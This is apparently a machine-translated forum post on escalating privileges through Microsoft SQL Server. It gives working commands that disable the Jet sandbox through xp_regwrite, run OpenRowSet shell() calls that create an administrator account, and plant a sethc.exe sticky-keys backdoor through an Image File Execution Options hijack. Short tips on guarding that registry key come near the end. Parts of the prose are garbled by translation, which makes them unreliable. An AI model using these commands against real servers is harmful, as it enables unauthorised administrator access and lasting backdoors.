他の2つの文は、odsole70.dllファイルを必要とするsp_oacreateストアドプロシージャを使用しているため、このファイルの存続は作成の成功に関係しています。 (2)、xpsql.cpp:CreateProcessからのエラー5(737行目) この状況はより複雑で、インターネット上でもよく言われています 執行master.dbo.xp_regwrite 「HKEY_LOCAL_MACHINE」、 「ソフトウェア\Microsoft\Jet\4.0\エンジン」 「SandBoxMode」 「REG_DWORD」 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); この問題の権利を提起するためにサンドボックスを確認しましたが、私の実践では成功率は非常に低いです。なぜならほとんどのサーバーがc:\windows\system32\ias\ias.mdbを削除しているからです。 次に画像ハイジャックを試してみることもできます。もちろんイメージハイジャックも条件付きで、1はこのストアドプロシージャxp_regwrite存在し、2は「HKEY_LOCAL_MACHINE」、「SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', Debugger'は削除されません まずレジストリの固定キーが乗っ取られたかどうかを問い合わせることができます エグゼクティブマスター... xp_regread 『HKEY_LOCAL_MACHINE』、『SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe』、『デバッガー』 プロンプトで問題が見つからなければ証明は削除され、プロンプトが出てもSQLコマンドを実行する方法sethc.exeありません エグゼクティマスター... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE'、 @value_name=「デバッガー」、 @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' ターミナルに5回接続してシフトした後、直接デスクトップに移動し、手動で追加します。
レジストリは端末ポートを修正します
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ ターミナルサーバー \ WDS \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
画像ハイジャックの防止に関しては、主に以下の方法で達成されます。
★ 許可制限法
ユーザーがレジストリキーにアクセスできなくなった場合、これらの内容を変更できません。 レジストリエディターを開き、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows に移動します
NT\CurrentVersion\Image File Execute Optionsを選び、右クリックで権限> - > advanced にして、管理者およびシステムユーザーの権限を下げてください(ここでは書き込み操作をキャンセルするだけです)。
★ クイックナイフカット、汚れたヘンプの方法です
レジストリエディターを開き、バーに行ってください
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\画像ファイル実行オプション
この問題は、画像ファイルの実行オプション項目を直接削除することで解決できます。
SQL コマンド ハイジャック レジストリ スティッキー インストール バックドア xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 「デバッガー」、「REG_SZ」、「C:\WINDOWS\system32\kdsn.exe'
ソフトウェアダウンロード:観光客の皆さん、この投稿の隠された内容を見たい方は、どうぞ 答える
|